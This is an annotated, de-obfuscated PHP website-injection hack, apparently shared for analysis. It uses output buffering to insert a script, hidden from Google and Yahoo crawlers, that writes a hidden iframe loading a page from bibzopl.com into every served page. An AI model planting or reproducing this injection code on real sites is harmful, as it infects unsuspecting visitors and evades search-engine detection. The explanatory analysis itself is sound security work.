// Since this hack depends upon the ob_start() function, it does nothing if
// ob_start() is not defined. The 'mr_no' global is a flag to ensure we only run
// this code once per page.
 
if (function_exists('ob_start') && !isset($GLOBALS['mr_no'])) {
 
  // Set flag to indicate we've already added the hack code.
  $GLOBALS['mr_no'] = 1;
 
  // Another duplication check
  if (!function_exists('mrobh')) {
 
    // Define the gml() function, which returns the string with the malicious code
 
    if (!function_exists('gml')) {
      // gml() returns malicious javascript code -unless- the requester is
      // Google or Yahoo. It doesn't want the bots to see the hack because
      // they'll take action on it. Here is the malicious javascript code in
      // unescaped form:
      //   document.write('<iframe src="http://bibzopl.com/in.php" width=1 height=1 frameborder=0></iframe>');      
      function gml() {
        if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot") && (!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))) {
          return '<script language="javascript">eval(unescape("%64%6F% [...snipped...] %29%3B"))</script>';
        }
        return "";
      }
    }
 
    // Ensure there is a gzdecode function. Since gzdecode is a PHP 6 function,
    // we will almost always use this version. Note that this version differs 
    // from the PHP 6 version in that it just returns the input string if the
    // string is not already gzip encoded. Thus, in PHP 6, this hack is broken
    // for gzip encoded pages.
 
    if (!function_exists('gzdecode')) {
      function gzdecode($input_str) {
        // Assume it is gzip encoded and set the gzinflate start position accordingly
        $ascii_third_char = @ord(@substr($input_str, 3, 1));
        $start_pos = 10;
        $unused_var = 0;
        if ($ascii_third_char & 4) {
          $tmp = @unpack('v', substr($input_str, 10, 2));
          $tmp = $tmp[1];
          $start_pos += 2 + $tmp;
        }
        if($ascii_third_char & 8) {
          $start_pos = @strpos($input_str, chr(0), $start_pos) + 1;
        }
        if($ascii_third_char & 16) {
          $start_pos = @strpos($input_str, chr(0), $start_pos) + 1;
        }
        if($ascii_third_char & 2) {
          $start_pos += 2;
        }
        // Now unzip the input string. If it fails, we assume the input string
        // is not compressed and just return the original input string.
        $retval = @gzinflate(@substr($input_str, $start_pos));
        if($retval === FALSE) {
          $retval = $input_str;
        }
        return $retval;
      }
    }
 
    // This function takes the un-hacked page output and inserts
    // the malicious code. It is configured by ob_start(), and is
    // called with the buffered page text as input.
 
    function mrobh($page_output) {
      // We are sending the output in plain text, so be sure to change the
      // content encoding to indicate that.
      Header('Content-Encoding: none');
      // If the output is compressed, unzip it
      $hacked_output = gzdecode($page_output);
      // Append the malicious code at the end of the page, or just before the
      // HTML </body> tag (if one exists)
      if (preg_match('/\<\/body/si', $hacked_output)) {
        return preg_replace('/(\<\/body[^\>]*\>)/si', gml() . "\n" . '$1', $hacked_output);
      } else {
        return $hacked_output . gml();
      }
    }
 
    // This statement forces output to be buffered and tells the PHP
    // processor to call the mrobh() function (defined above) when
    // page processing is complete.
 
    ob_start('mrobh');
  }
}